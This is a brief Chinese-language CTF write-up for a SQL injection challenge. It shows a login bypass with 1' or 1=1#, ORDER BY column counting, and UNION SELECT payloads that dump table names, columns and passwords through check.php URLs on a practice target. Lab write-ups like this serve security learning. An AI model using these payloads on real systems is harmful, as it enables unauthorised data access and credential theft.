打开靶机进入之后是个登录界面,查看源码得知是get类型注入,因为是sql注入的题嘛,所以我们直接尝试用万能密码进行登录,用户名1' or 1=1# ,密码随意。
成功登录,并没有得到flag,此时发现url中貌似可以进行sql注入,并且已经把万能密码中的#自动进行url编码成了%23,所以后面我们注入的时候就不要自己再加上注释符了,用order by 进行判断列数,
在4时报错,说明有3列,接着用unino select 进行联合查询判断注入点
可以发现可以在2和3的位置进行注入,查询数据库和版本1’ union select 1,database(),version()%23
得知数据库为geek之后,开始进行爆表
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23&password=123
得到两个表名,接下来进行爆字段
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geek.user'%23&password=123
两个表名的字段都爆一下,可以发现字段名都一样
此时猜测flag 在password中,进行爆数据 两个字段都尝试一下
/check.php?username=1' union select 1,2,group_concat(password) from l0ve1ysq1%23&password=123
最终在l0ve1ysq1这个字段的password中得到flag